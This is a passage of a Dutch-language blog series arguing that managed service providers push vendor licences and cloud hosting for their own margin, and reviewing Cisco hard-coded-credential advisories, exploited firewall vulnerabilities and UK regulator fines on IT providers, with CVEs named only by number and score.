plaats van weggewuifd in beide richtingen. Al is het merkwaardig wat je ook stopt te dragen. Die flows en die sites zijn bedrijfsprocessen die in andermans datacenter draaien, op een platform dat je niet kunt herstarten. Wanneer ze stoppen, repareer je ze niet. Je wacht, en je vertelt je eigen klanten dat je wacht. En Britse boekhouding heeft een harde rand: btw moet ingediend worden via software die HMRC herkent, en HMRC publiceert de lijst. De open source routes naar Making Tax Digital bestaan — GnuCash heeft een community-bridge, ERPNext heeft een Britse btw-module — maar ze zijn community-onderhouden in plaats van een product met een supportcontract erachter. Dat is een echte beperking en het hoort in de vergelijking. Ten derde, een werkend designbureau leeft of sterft op bestandsuitwisseling, en klanten die je een .psd sturen en er een terug verwachten zijn een echt probleem in plaats van een principekwestie. Voor iedereen anders, die een PDF moet invullen en getekend krijgen, is er helemaal geen wissel te maken. Het is gewoon stoppen met betalen.\nWaarom Het Betere Bedrijf Nooit Verkocht Wordt Dus waarom wordt niets ervan aangeboden? Omdat het beter bedrijf voor hen zou zijn, niet slechter, wat de weigering interessanter maakt in plaats van minder.\nEr zijn twee manieren om aan een klant geld te verdienen. Herverkoop een licentie, en de marge wordt door iemand anders gezet, gecapt door hen, opnieuw geprijsd door hen bij verlenging, en betaald of je die maand werk deed of niet. Deploy en draai een open stack, en de marge is je eigen arbeid tegen je eigen tarief, met niemand die onderweg een schijfje neemt en geen vendor in staat het getal volgend april te veranderen. De tweede is meer waard per klant, en het bouwt iets. Een engineer die Ceph kan draaien, of een mailserver kan opzetten waar Outlook mee praat, is volgend jaar meer waard dan dit jaar. Iemand die alleen ooit een console heeft bestuurd is volgend jaar precies hetzelfde waard, en alleen zolang die console bestaat.\nHet is ook moeilijker, en dat is het geheel ervan. Het moet elke maand opnieuw verdiend worden. Het heeft engineers nodig in plaats van beheerders, en engineers zijn duur, kosten jaren om te kweken, en kunnen wegwandelen en voor zichzelf beginnen. Een licentie vertrekt nooit.\nDat is een toewijding, en toewijding is het ding dat vermeden wordt. Herverkopen vraagt niets van niemand. Kies dit jaar een vendor, kies volgend jaar een andere, en wanneer het omvalt was het in de eerste plaats nooit jouw ontwerp. De stack zelf draaien betekent het kiezen, het fatsoenlijk leren, en erachter staan voor een klant om twee uur \u0026rsquo;s nachts. Een van die vereist dat je iets weet. De andere vereist een portal-login.\nHet breekt ook de rekenkunde waar het model op draait. Een managed service wordt geprijsd op leverage — zoveel mogelijk klanten per engineer, junior personeel dat runbooks afwerkt, escalatie alleen wanneer de runbook opraakt. Dat werkt omdat de klus tot stappen gereduceerd is. Zet er een stack in die iemand werkelijk moet begrijpen en de ratio stort in, de loonrekening klimt, en het bedrijf vindt zichzelf afhankelijk van mensen die zouden kunnen vertrekken en klanten meenemen.\nDus de vraag onder de shortlist was nooit welk product beter is. Het is of een bedrijf bereid is het soort te zijn dat mensen in dienst neemt die dingen weten.\nWat is waar het trainingscijfer van eerder terugkomt. Een sector die zijn uitgave aan vaardigheden met 30% in twee jaar heeft gesneden kan geen vaardigheid verkopen, dus verkoopt het licenties. Licenties verkopen betekent dat het de vaardigheid nooit hoeft te verwerven, dus de training blijft gesneden, en volgend jaar is er nog minder dat het kan bieden. Dat is een lus, en het draait maar één kant op.\nDe rest is prikkel, en dat hebben we al doorgenomen. De vendor betaalt een korting op de licentie en helemaal niets op de arbeid. De verkoper wordt beloond op product. En wanneer een hyperscaler een storing heeft is het de schuld van de hyperscaler, terwijl een cluster dat je zelf bouwde de jouwe is — dus herverkopen koopt iemand een plek om de schuld te leggen. Dat is echt geld waard voor een bedrijf dat liever niet verantwoordelijk is.\nNiets daarvan maakt het het juiste antwoord voor jou. Het verklaart alleen waarom de vergelijking nooit geschreven wordt.\nDe IPv4-Belasting Deze is het schoonste voorbeeld in de hele post, want je kunt een prijs op beide kanten zetten.\nZe bouwen je een IPv4-only dienst. Dan verkopen ze je de publieke adressen die je nodig hebt om het te bereiken, per adres, per maand, voor altijd. Vraag er nog een en er is een formulier, een rechtvaardiging en een regel op de verlenging.\nOndertussen kost IPv6 niets extra. De toewijzing komt met het registerlidmaatschap dat je al betaalt, en RIPE\u0026rsquo;s charging scheme 2026 is een vlakke EUR 1.800 per LIR-account wat je ook houdt. RIPE-690 zegt dat een eindsite een /48 of een /56 krijgt. Er is geen per-adres-meter aan de v6-kant. Er is niets te meteren.\nDe getallen aan de andere kant zijn ook publiek. AWS rekent $0,005 per uur voor elk publiek IPv4-adres, gekoppeld of niet, wat ongeveer $43,80 per jaar per stuk is. Op de transfermarkt was de gemiddelde prijs in de eerste helft van 2026 $20,04 per adres, met een geldend leasetarief van ongeveer $0,59 per adres per maand. Dus een adres is ruwweg twintig dollar waard om ronduit te kopen, en verhuurt groothandel voor ongeveer zeven per jaar — en het wordt aan je herverkocht als een schaarse resource. Een maandregel op je rekening en een formulier om in te vullen wanneer je er nog een wilt.\nDe schaarste is echt. De reden dat je er nog steeds voor betaalt is niet. Een dienst dual-stacken is een middag werk, en het verandert een terugkerende heffing in een eenmalige change request, wat precies is waarom het nooit voorgesteld wordt.\nAls je het volledige beeld wilt van wie in dit land werkelijk de moeite heeft genomen, ik telde de hele boel: We Zijn Nooit Zonder Adressen Geraakt. We Zijn Zonder Moeite Geraakt.\nCloud Standaard, Wanneer Alles Wat Je Hebt Ter Plaatse Is Denk na over waar het werk werkelijk gebeurt. Een productiesite. Een automonteur. Een cateringbedrijf.\nElke gebruiker is in het gebouw. Elk stukje data wordt in het gebouw gemaakt — de machines, de kassa\u0026rsquo;s, de werkbonnen, de voorraad, de CAD, de CNC-programma\u0026rsquo;s, de orders die over de toonbank komen. Alles dat die data consumeert is ook in het gebouw. Geen tweede site, geen buitendienst, geen klanten die een webfrontend raken, en geen maand waarin de belasting verdubbelt.\nZet de applicatie in andermans datacenter en elk van die bytes verlaat nu het pand en komt regelrecht terug. Zelfde gebruikers. Zelfde data. Zelfde verwerking. Plus een WAN in het midden ervan, een maandrekening, en een afhankelijkheid van een lijn die je niet bezit.\nNiets waar cloud werkelijk goed in is geldt hier. Elastische schaal is voor belasting die beweegt, en een werkvloer die twee ploegen draait beweegt niet. Wereldwijd bereik is voor gebruikers die ergens anders zijn, en de jouwe staan bij de machine. Andermans gebouw is een echt antwoord voor disaster recovery, maar disaster recovery is een backupdoel, niet de plek waar je de lijn vanuit draait.\nWat het je wel koopt is een nieuwe manier om te stoppen. Ter plaatse is een dode breedbandlijn een ongemak, en het werk gaat door tot iemand het repareert. In de cloud is het een stilstand — de lijn valt weg, de garage kan geen werkbon opvragen, de keuken kan geen order aannemen, de productie staat daar, en je wacht op andermans engineer tegen een SLA die je nooit onderhandelde.\nWaar het werk werkelijk heen gaat, zodra de applicatie het gebouw verlaat Ter plaatse Je gebouw De mensen Staand bij de machine De data Hier gemaakt, allemaal De applicatie Ook hier Niets verlaat het pand. Een dode breedbandlijn is een ongemak, en het werk gaat door tot iemand het repareert. Cloud standaard, en de route die het werkelijk neemt Je gebouw Dezelfde mensen, dezelfde data De centrale waar je lijn landt De core van je ISP en van wie ze ook transit kopen Een peering point of het edge-netwerk van de provider Het datacenter De applicatie leeft nu hier Drie gebouwen die je niet bezit, niet kunt bellen, en nooit koos en elke byte maakt ook de terugreis, voor elke opslag en elke lookup Een dode lijn is nu een stilstand. De garage kan geen werkbon opvragen, de keuken kan geen order aannemen, de productie staat daar, en je wacht op andermans engineer tegen een SLA die je nooit onderhandelde. Zelfde gebruikers, zelfde data, zelfde verwerking. Het verschil is vier andermans netwerken in het midden, waarvan je er geen kunt bellen wanneer het stopt. En je breedband is maar de helft ervan. De andere helft is die van hen, en die valt ook uit. AWS\u0026rsquo; eigen post-event summary voor oktober 2025 beschrijft een verstoring in zijn primaire regio Northern Virginia die liep van 23:48 op 19 oktober tot 14:20 op 20 oktober — het beste deel van vijftien uur — waar klanten en andere AWS-diensten \u0026ldquo;were unable to establish new connections\u0026rdquo; — geen nieuwe verbindingen konden opzetten. De oorzaak, in hun woorden, was \u0026ldquo;a latent defect within the service\u0026rsquo;s automated DNS management system\u0026rdquo; — een latent defect binnen het geautomatiseerde DNS-beheersysteem van de dienst. Negen dagen later nam Azure Front Door Microsoft 365, Outlook en de Azure-portal met zich mee voor het grootste deel van een werkdag. Microsoft houdt een lopende geschiedenis hiervan bij, en het is geen kort document.\nDowntime is ook niet het geheel ervan. Het andere ding dat op de voorkant van het voorstel verkocht werd was capaciteit op aanvraag, en dat heeft een eigen gedocumenteerde faalmodus. Microsoft publiceert een pagina getiteld \u0026ldquo;Troubleshooting Azure VM allocation failures\u0026rdquo;. AWS publiceert \u0026ldquo;How do I troubleshoot InsufficientInstanceCapacity errors when I start or launch an EC2 instance?\u0026rdquo;. Lees die titels nog eens. Beide vendors onderhouden staande documentatie voor het geval waar je om een machine vraagt en er geen is — geen fout, geen storing, gewoon vandaag niets vrij in die regio. Daar bovenop zitten quota, per subscription gezet, wat een tweede manier is om nee te horen.\nDus de elastische schaal op het voorstel draagt een voorbehoud dat het voorstel niet doet. Elastisch binnen wat er ook vrij is, in die regio, op de dag dat je vraagt. En providers blijven klanten in beperkte regio\u0026rsquo;s tekenen ongeacht, want een handtekening telt dit kwartaal en een capaciteitscheck niet. Je komt erachter bij deployment, wat het slechtste moment beschikbaar is — nadat de migratie is toegezegd, nadat de on-premises apparatuur weg is, en nadat de terugval werd afgebroken om de verhuizing te betalen.\nLees wat dat alles betekent voor de garage en de keuken. Op je eigen apparatuur is een storing iemand die je kunt bellen, of een machine waar iemand naartoe kan lopen en herstarten. In andermans cloud is er helemaal geen hendel. Je kunt het niet escaleren, je kunt je eigen herstel niet prioriteren, en de provider die je betaalt kan dat ook niet. Ze verversen dezelfde statuspagina als iedereen. Wat je als veerkracht kocht blijkt een afhankelijkheid te zijn die je deelt met verscheidene miljoen andere klanten, en op de dag dat het faalt is je positie dezelfde als de hunne.\nDus waarom is het altijd de aanbeveling? Omdat een kapitaalaankoop je MSP één keer betaalt. Een abonnement betaalt ze elke maand, tegen een percentage, met een credit van de vendor bovenop. Je migreren verplaatst ook de hardware van hun bord, wat het deel van de dienst is dat ze het moeilijkst te bemensen vinden. Drie redenen die dezelfde kant op wijzen, geen ervan de jouwe.\nDan is er waar je data eindigt. Onder 18 U.S.C. § 2713, toegevoegd door de CLOUD Act, moet een Amerikaanse provider data in zijn \u0026ldquo;possession, custody, or control\u0026rdquo; — bezit, hoede of beheer — produceren wanneer correct gedagvaard, \u0026ldquo;regardless of whether such communication, record, or other information is located within or outside of the United States\u0026rdquo; — ongeacht of die communicatie, dat dossier of andere informatie zich binnen of buiten de Verenigde Staten bevindt. Dus \u0026ldquo;het staat in de UK-regio\u0026rdquo; is een waar antwoord op een vraag die je niet stelde. De regio vertelt je waar de schijf staat. Het statuut volgt wie het bedrijf bezit.\nNiemand legde je dat als beslissing voor. Het arriveerde als een aanname, binnen een voorstel, geschreven door iemand die meer betaald krijgt wanneer je ja zegt.\nIk heb over die afhankelijkheid uitgebreid geschreven in wat je technologie huren kost.\nDat Alles Gebeurde Voordat Er Iets Gebouwd Was Merk op wanneer het plaatsvindt, de hele boel. Voordat een machine geracked is, voordat iemand op iets heeft ingelogd, in vergaderingen en op spreadsheets waar je meestal niet bij was. De korting, de eisen die niemand opnam, de enkele optie, de ontbrekende open source regel, de adressen die je nu voor de duur van het contract huurt, het datacenter dat niemand in het gebouw nodig had — niets ervan is technisch, en het is allemaal beslecht in de eerste veertien dagen.\nWat is waarom het je aandacht waard is zelfs als je nooit een switch hebt geopend. Het is ook waarom het achteraf zo moeilijk te ontwarren is. Alles stroomafwaarts erft die veertien dagen. De estate wordt gebouwd zoals de shortlist zei dat het zou. Het gereedschap verschijnt omdat het is wat de provider al bezit en al kent. De sleutels eindigen waar hun proces ze ook zet. En het contract dat aan het eind ervan getekend wordt beslist, jaren van tevoren, wie het verlies draagt op de ochtend dat iets stopt.\nDus deel twee is wat er werkelijk gebouwd werd: de doos waar ze niet uit te praten zijn, de perimeterapparatuur met het slechtste dossier op de exploited list, de basis die het ding was dat je kocht, en het gereedschap dat elke machine die je bezit bereikt vanuit een console die je nooit gezien hebt. Twee van de faalgevallen erin hebben een bevinding van een toezichthouder eraan gehecht. Geen ervan overkwam een klant. Ze overkwamen een provider, en de klanten waren stroomafwaarts.\nIs Your MSP Lying To You — 3 parts\nLiegt Je MSP Tegen Je Om Je Premiumproducten Te Verkopen?you are here Wat Je MSP Voor Je Bouwde, En Wie Het Nog Meer Kan Bereiken Wanneer Het Breekt, Wie Draagt Het Werkelijk? Bronnen Opgehaald 28 augustus 2026.\nHoe het geld werkt.\nMicrosoft Partner Center-factureringsdocumentatie — partner earned credit toegepast tegen kosten op het Azure-verbruik van de klant. FCA Handbook, COBS 6.1A — adviescharging: de regel dat een bedrijf alleen betaald mag worden voor een aanbeveling door de klant, en geen commissie mag accepteren van de productleverancier. CMA cloud services market investigation — het werk van de Britse mededingingstoezichthouder aan de cloudmarkt. Adressen.\nRIPE NCC charging scheme 2026 — EUR 1.800 per LIR-account, vlak. RIPE-690 — /48 of /56 naar een eindsite, oktober 2017. AWS publieke IPv4-heffing — $0,005 per adres per uur, vanaf februari 2024. IPv4-transfermarkt, eerste helft van 2026 — gemiddeld $20,04 per adres, leasetarief ongeveer $0,59 per adres per maand, samenvatting van CircleID\u0026rsquo;s analyse van openbaar geprijsde transacties. De VPN.\nCisco Meraki\u0026rsquo;s AnyConnect troubleshooting guide — TLS en DTLS op 443, zonder NAT-probleem op te lossen. RFC 3947 en RFC 3948 — NAT-traversal voor IPsec, en de overgang naar UDP 4500. Support die je werkelijk kunt kopen.\nProxmox VE-abonnementen — één voorbeeld van commerciële support voor open source infrastructuur. Training en vaardigheden.\nLearning and Work Institute, 24 december 2025 — investering van werkgevers in training met 36% per werknemer in reële termen gedaald sinds 2005, en met 30% in informatie en communicatie tussen 2022 en 2024, op de Employer Skills Survey 2024. National Vulnerability Database — CVE-publicatietellingen per jaar, per kwartaal opgeteld: 6.595 in 2015 tegen 49.972 in 2025. Cyber Security Breaches Survey 2025/2026 — twee-factor-authenticatie op 47% van de bedrijven, formeel beleid gedaald naar 52%, continuïteitsplannen die cyber dekken gedaald naar 44%. CISA alert, 30 maart 2023 — de getrojaniseerde 3CX-desktopapplicatie. Wet en beleid.\nExecutive order, 10 februari 2025 — het pauzeren van Foreign Corrupt Practices Act-handhaving, in de eigen woorden van de regering. Just Security, over het jaar dat volgde — de handhavingsrichtlijnen van juni 2025, de ontbonden FCPA-eenheid van de SEC, en de gesloten onderzoeken. Bribery Act 2010 en sectie 7 — het Britse statuut, en het bedrijfsdelict van niet-voorkomen. Airbus, 31 januari 2020 — het eigen relaas van het bedrijf van de tripartiete schikking en hoe de boetes splitsten tussen het PNF, het SFO, het DoJ en het DoS. Jurisdictie.\n18 U.S.C. § 2713 — de CLOUD Act-bepaling: openbaarmaking ongeacht waar de data is opgeslagen. Wanneer het platform stopt.\nAWS post-event summary, oktober 2025 — de DynamoDB- en DNS-verstoring in us-east-1, in Amazons eigen woorden. Azure status history — Microsofts eigen lopende dossier van zijn incidenten. ","permalink":"https://blogs.damiendye.uk/nl/random/is-your-msp-lying-to-you-part1/","summary":"Deel 1 van 3. Sommige liegen. De meeste hoeven het nooit, want ze worden betaald door de vendor wiens product ze aanbevelen en niemand hoeft het te vertellen. De tekens die zeggen dat je verkocht wordt in plaats van voor gebouwd, en wat de shortlist nooit haalt.","title":"Liegt Je MSP Tegen Je Om Je Premiumproducten Te Verkopen?"},{"content":" Is Your MSP Lying To You — 3 parts\nLiegt Je MSP Tegen Je Om Je Premiumproducten Te Verkopen? Wat Je MSP Voor Je Bouwde, En Wie Het Nog Meer Kan Bereikenyou are here Wanneer Het Breekt, Wie Draagt Het Werkelijk? Deel een was de verkoop. Dit is de estate.\nHet papierwerk is getekend, de factuur loopt maandelijks, en er is apparatuur. Een deel ervan van jou, een deel van hen, het meeste ervan gekozen voordat iemand vroeg wat het bedrijf werkelijk doet tussen acht en zes. Wat volgt is de apparatuur zelf: wat gekozen wordt, wat erin aan bleef staan, en wie de machines die je betaalde nog meer kan bereiken vanuit een console waar je nooit op ingelogd hebt.\nTwee van de faalgevallen hier dragen een bevinding van een toezichthouder met een getal eraan. Geen ervan overkwam een klant — ze overkwamen een provider, en de klanten waren stroomafwaarts. Elke bewering heeft een link erop.\nDe Doos Waar Ze Niet Uit Te Praten Zijn Nu de ongemakkelijke. Ik wil dit met bewijs doen in plaats van bewering, want het is de sectie waar mensen naar het woord samenzwering grijpen — en naar dat woord grijpen is hoe het onderwerp valt gelaten wordt zonder dat iemand hoeft te kijken.\nCisco is de standaardaanbeveling in het grootste deel van deze industrie. Kijk dus naar wat de vendor zelf heeft gepubliceerd over ongedocumenteerde toegang tot zijn eigen apparatuur.\nIn maart 2018 publiceerden ze een advisory voor CVE-2018-0141: op Prime Collaboration Provisioning kon over SSH worden ingelogd vanwege \u0026ldquo;a hard-coded account password on the system\u0026rdquo; — een hard-coded accountwachtwoord op het systeem. Acht maanden later, CVE-2018-15439 op de Small Business-switches, waar \u0026ldquo;the affected software enables a privileged user account without notifying administrators of the system\u0026rdquo; — de getroffen software een geprivilegieerd gebruikersaccount inschakelt zonder beheerders van het systeem te informeren —, zonder gefixte software beschikbaar toen het gepubliceerd werd en in plaats daarvan een workaround aangeboden. In oktober 2023, CVE-2023-20101: Emergency Responder werd geleverd met een root-account met \u0026ldquo;default, static credentials that cannot be changed or deleted\u0026rdquo; — standaard, statische credentials die niet veranderd of verwijderd kunnen worden —, credentials \u0026ldquo;typically reserved for use during development\u0026rdquo; — typisch gereserveerd voor gebruik tijdens ontwikkeling.\nEen account waar niemand van verteld werd, dat je niet kunt verwijderen, met root op een doos in je estate. Noem het wat je wilt. Het is wat de eigen advisory van de vendor beschrijft.\nDan is er het Snowden-materiaal, dat nu meer dan een decennium oud is en nooit is teruggetrokken. In december 2013 publiceerde Der Spiegel de ANT-catalogus, rapporterend dat een NSA-divisie \u0026ldquo;has burrowed its way into nearly all the security architecture made by the major players in the industry \u0026ndash; including American global market leader Cisco and its Chinese competitor Huawei\u0026rdquo; — zich in bijna alle beveiligingsarchitectuur gemaakt door de grote spelers in de industrie heeft ingegraven, inclusief Amerikaanse wereldmarktleider Cisco en zijn Chinese concurrent Huawei. Dezelfde verslaggeving beschreef hoe apparatuur er terechtkomt: zendingen omgeleid naar geheime werkplaatsen in een proces dat de NSA interdiction noemt, waar \u0026ldquo;at these so-called \u0026rsquo;load stations,\u0026rsquo; agents carefully open the package in order to load malware onto the electronics, or even install hardware components that can provide backdoor access\u0026rdquo; — bij deze zogenaamde \u0026rsquo;load stations\u0026rsquo; agenten het pakket zorgvuldig openen om malware op de elektronica te laden, of zelfs hardwarecomponenten installeren die backdoor-toegang kunnen bieden. Een interne NSA-nieuwsbrief uit 2010, in 2014 gepubliceerd met de foto\u0026rsquo;s, zette het proces uiteen in de eigen woorden van het agentschap: apparaten \u0026ldquo;being delivered to our targets throughout the world are intercepted\u0026rdquo; — die aan onze doelwitten over de hele wereld worden geleverd worden onderschept —, dan \u0026ldquo;re-packaged and placed back into transit to the original destination\u0026rdquo; — opnieuw ingepakt en teruggezet in transit naar de oorspronkelijke bestemming.\nWat de verslaggeving niet toont is medeplichtigheid. Der Spiegel zei ronduit dat niets in de documenten suggereerde dat de fabrikanten het wisten of hielpen, en Cisco ontkende destijds elke betrokkenheid, en in mei 2014 legde zijn general counsel het vast: \u0026ldquo;as a matter of policy and practice, Cisco does not work with any government, including the United States Government, to weaken our products\u0026rdquo; — als kwestie van beleid en praktijk werkt Cisco met geen enkele overheid, inclusief de Amerikaanse overheid, om onze producten te verzwakken. Ze klaagden erover bij de president. Op het eerste gezicht waren ze hier ook een slachtoffer.\nNeem dat op het eerste gezicht. Het verandert niets aan de doos op je rack, want interdiction had de hulp van de vendor nooit nodig. En het is de moeite waard te weten welk gewicht de ontkenning draagt, want Cisco\u0026rsquo;s woord is in de rechtbank getest. In 2019 schikten ze False Claims Act-procedures voor $8,6 miljoen federaal, plus $6 miljoen over een groep staten, over videobewakingssoftware verkocht aan overheidsinstanties met \u0026ldquo;flaws that would permit unauthorized access to the system, with the potential to control and otherwise manipulate security cameras and the recorded footage\u0026rdquo; — gebreken die ongeautoriseerde toegang tot het systeem zouden toestaan, met de mogelijkheid om beveiligingscamera\u0026rsquo;s en de opgenomen beelden te beheren en anderszins te manipuleren. Het relaas van de New York Attorney General is dat Cisco in 2009 van de gebreken wist en ze pas in 2013 fixte, nadat het onderzoek was begonnen. Schikkingen zijn geen erkenningen van aansprakelijkheid en ik zal niet doen alsof het anders is. Het is nog steeds vier jaar een product verkopen aan politiekorpsen en overheidsinstanties met een bekende ingang, en het niet zeggen.\nDus het dossier is: ongedocumenteerde root-accounts naar eigen toegeven, een decennium oude catalogus die ze noemt, een verzendketen die aantoonbaar compromitteerbaar is, en een periode waarin ze van een gat wisten en bleven verkopen. Elke enkele daarvan zou je kunnen wegwuiven. Samen zijn ze een patroon. Een verklaring van een belanghebbende partij beslecht geen patroon.\nHet antwoord daarop is controles, geen verbod. Het risico hoort in het ontwerpdocument met al het andere, en de alternatieven worden geprijsd in plaats van weggewuifd. Vraag welke concurrerende apparatuur werd geëvalueerd en wat het kostte. Vraag wat het firmware-verificatie- en updatebeleid is, en wie het controleert. Vraag hoe de apparatuur wordt ontvangen en geïnspecteerd, en door wie. Vraag wat er gebeurt bij een serienummer dat niet overeenkomt met de inkooporder.\nEn merk op welke vendors deze aandacht in jouw sector krijgen en welke niet. Dezelfde industrie die Huawei op een risicoregister zette over een capaciteit die niemand in het openbaar heeft geproduceerd zal Cisco in het low-level design schrijven zonder een regel rechtvaardiging, op de kracht van een partnerbadge. Ik heb geschreven over wat er met dat argument gebeurt wanneer je de norm gelijk toepast. Een partnerbadge is een commerciële relatie met doelen eraan gehecht. Als zodanig is het geen veiligheidsbevinding.\nDe Firewall Is De Ingang Verbreed dat van één vendor naar de categorie, want de firewall is het product dat een MSP het hardst verkoopt. Het is de regel die het beveiligingsdeel van het contract rechtvaardigt.\nCISA houdt een catalogus van kwetsbaarheden waarvan bekend is dat ze in het wild geëxploiteerd worden — niet theoretisch gevaarlijk, werkelijk tegen iemand gebruikt. Ik trok de catalogus en telde het per vendor. Versie 2026.08.27 houdt 1.685 entries. Cisco is goed voor 96 ervan, tweede na Microsofts 386, en 42 daarvan zitten op de firewall- en edge-lijnen. Fortinet heeft 29. Palo Alto Networks heeft 15. Voor de schaal, Ivanti heeft 35 en SonicWall 17.\nKijk naar wat de entries werkelijk zijn, want het patroon varieert nooit. Het is de management-interface of de VPN, dat wil zeggen het deel dat opzettelijk aan het internet is blootgesteld.\nHet enige deel van deze tijdlijn dat aan jou is om te sluiten Een kwetsbaarheid, van gepubliceerd tot gepatcht op je doos Gepubliceerd een CVE-nummer bestaat Patch beschikbaar het deel van de vendor is klaar Bevestigd geëxploiteerd toegevoegd aan CISA's catalogus Je doos gepatcht door wie je ook betaalt Je blootstelling Bekend als tegen iemand gebruikt, nog steeds op je perimeter Cisco 96 entries, Fortinet 29, Palo Alto 15. Dat zijn de getallen van de vendors en ze zijn publiek. De lengte van die gearceerde spanne is de jouwe, en niemand vraagt erom. Elke provider heeft het getal. Het is dezelfde meting die de ICO bij Capita nam. Het totaal van de vendor is publiek en is niet het getal dat beslist of je gewond raakt. De gearceerde spanne is het, en het behoort toe aan wie je ook betaalt. Palo Alto\u0026rsquo;s CVE-2024-3400 was een command injection in de GlobalProtect-feature van PAN-OS, scorend 10.0, geëxploiteerd als een zero-day. Later hetzelfde jaar liet CVE-2024-0012 \u0026ldquo;an unauthenticated attacker with network access to the management web interface\u0026rdquo; — een ongeauthenticeerde aanvaller met netwerktoegang tot de management-webinterface — regelrecht langs de authenticatie op 9.8, en het werd geketend met een command injection in dezelfde interface.\nFortinets CVE-2022-40684 was een \u0026ldquo;authentication bypass using an alternate path or channel\u0026rdquo; — authenticatie-omzeiling via een alternatief pad of kanaal — op 9.8. Zijn CVE-2018-13379, een SSL VPN path traversal, ging de catalogus in in november 2021. Jaren nadat de patch bestond, want dozen zaten nog steeds ongepatcht op het internet en werden binnengewandeld.\nCisco\u0026rsquo;s CVE-2023-20198 in de IOS XE web-UI scoorde 10.0. CVE-2025-20333, in de VPN-webserver van zijn Secure Firewall ASA- en FTD-software, scoorde afgelopen september 9.9.\nEn dan is er CVE-2026-20316, toegevoegd aan de catalogus op 29 juli 2026. Cisco Secure Firewall Management Center, \u0026ldquo;use of hard-coded password\u0026rdquo; — gebruik van een hard-coded wachtwoord —, waardoor \u0026ldquo;an unauthenticated, remote attacker to log in to an affected device\u0026rdquo; — een ongeauthenticeerde, externe aanvaller op een getroffen apparaat kan inloggen. Een statische credential, in de doos die de firewalls beheert, bevestigd als geëxploiteerd, een maand voor deze post. Hetzelfde faalgeval als 2018 en 2023 in de sectie hierboven, op de machine die je perimeter beheert.\nNu het nuttige deel, want \u0026ldquo;sommige vendors zijn erger dan andere\u0026rdquo; is niet echt de les. Elk van deze heeft een openbaar dossier en niets ervan verschijnt in een voorstel. Belangrijker, het totaal van de vendor is niet het getal dat beslist of je gewond raakt. Je blootstelling is het gat tussen een kwetsbaarheid die die catalogus in gaat en je doos die gepatcht wordt. Dat gat is niet dat van de vendor om te sluiten. Het behoort toe aan wie je ook betaalt om het ding te draaien.\nWat dezelfde meting is die de ICO bij Capita nam. Alarm op tien minuten, actie op achtenvijftig uur, doel van één. Niemand vraagt hun provider om dat getal op firewall-patching, en het is een getal dat elke provider heeft.\nWanneer De Basis Het Ding Is Dat Je Kocht Deel een ging over de verkoop. Dit is wat erna kwam, in twee gevallen waar een toezichthouder het onderzoek deed en publiceerde wat het vond.\nIn maart 2025 beboette de Information Commissioner Advanced Computer Software Group met £3,07 miljoen over een ransomware-incident in augustus 2022. Advanced \u0026ldquo;provides IT and software services to organisations, including the NHS and other healthcare providers\u0026rdquo; — levert IT- en softwarediensten aan organisaties, waaronder de NHS en andere zorgverleners. De aanvallers kwamen binnen \u0026ldquo;via a customer account that did not have multi-factor authentication\u0026rdquo; — via een klantaccount dat geen multi-factor-authenticatie had. NHS 111 werd verstoord, zorgpersoneel kon geen patiëntdossiers bereiken, en de persoonlijke informatie van 79.404 mensen werd genomen. De bevinding van de ICO over de oorzaak is het waard langzaam te lezen: \u0026ldquo;while Advanced had installed multi-factor authentication across many of its systems, the lack of complete coverage meant hackers could gain access\u0026rdquo; — hoewel Advanced multi-factor-authenticatie over veel van zijn systemen had geïnstalleerd, betekende het gebrek aan volledige dekking dat hackers toegang konden krijgen. Het was ook de eerste boete die de ICO heeft uitgevaardigd tegen een gegevensverwerker in plaats van de organisatie wiens data het was.\nIn oktober 2025 beboette dezelfde toezichthouder Capita met £14 miljoen over de aanval van 2023 die de persoonlijke informatie van 6,6 miljoen mensen nam. Een kwaadaardig bestand landde op een werknemersapparaat op 22 maart 2023. Een high-priority-alarm ging binnen tien minuten af. Het apparaat werd 58 uur niet in quarantaine gezet, tegen een doelresponstijd van één uur, en de ICO vond dat het Security Operations Centre \u0026ldquo;was understaffed, and in at least six months before the incident fell well below the target response times for responding to security alerts\u0026rdquo; — onderbezet was, en in ten minste zes maanden voor het incident ruim onder de doelresponstijden voor het reageren op beveiligingsalarmen viel —, naast inadequate penetratietesten en risicobeoordeling.\nLees wat die twee bevindingen gemeen hebben. Geen slimme tegenstander. Geen zero-day. Niks dat niemand had kunnen zien. Multi-factor-authenticatie die gekocht maar niet afgemaakt was, en een alarmwachtrij die niemand had bemenst. Beide zijn regels die iemand ondertekende en groen rapporteerde.\nEn niets hiervan besloop de industrie. Op 11 mei 2022, drie maanden voor het Advanced-incident, brachten de cybersecuritydiensten van het VK, Australië, Canada, Nieuw-Zeeland en de Verenigde Staten een gezamenlijke advisory over dreigingen voor managed service providers en hun klanten, want ze waren \u0026ldquo;aware of recent reports that observe an increase in malicious cyber activity targeting managed service providers\u0026rdquo; — op de hoogte van recente rapporten die een toename waarnemen in kwaadaardige cyberactiviteit gericht op managed service providers. De eerste tactische actie op de lijst is multi-factor-authenticatie afdwingen op de MSP-accounts die in de omgeving van de klant reiken.\nDe veiligheidsdiensten van vijf landen schreven het op, in het openbaar, en noemden de controle. Drie jaar later beboet een toezichthouder nog steeds mensen omdat ze het niet afmaakten.\nGeen van die twee is een verhaal over een klein bedrijf. Hier is er een. Op vrijdag 24 november 2023 ging de IT-provider CTS voor de juridische sector plat in een cyberincident. Het eigen blad van de Law Society rapporteerde dat ongeveer 80 kantoren geen transacties konden afronden, met systemen offline en contracten vast. Dit zijn overdrachtskantoren, de meeste kleine bedrijven, en hun klanten waren mensen midden in een verhuizing. Een ervan zei het ronduit: \u0026ldquo;This leaves us with so much uncertainty — with movers needing to be booked, days needing to be taken off work at potentially short notice and lives put on hold\u0026rdquo; — dit laat ons met zoveel onzekerheid — met verhuizers die geboekt moeten worden, dagen die op mogelijk korte termijn vrij genomen moeten worden en levens die on hold gezet worden. CTS kon alleen zeggen dat het \u0026ldquo;unable to give a precise timeline for full restoration\u0026rdquo; — geen precies tijdschema voor volledig herstel kon geven.\nNiemand in die keten koos CTS. Het kantoor koos het, en elke klant stroomafwaarts van het kantoor erfde de beslissing zonder er ooit naar gevraagd te zijn.\nDat is wat je koopt wanneer je een managed service koopt.\nEn Hoe Zou Je Het Ontdekt Hebben? Merk iets op over elk incident in de sectie hierboven. Geen ervan overkwam de klant. Ze overkwamen de provider, en de klanten zaten stroomafwaarts van andermans slechte week.\nStel dus de vraag direct. Als we gehackt worden, horen we het van jullie? En hoe snel?\nEr is een wettelijke vloer, en het is lager dan mensen aannemen. Waar ze persoonsgegevens namens jou verwerken, zegt Artikel 33 \u0026ldquo;the processor shall notify the controller without undue delay after becoming aware of a 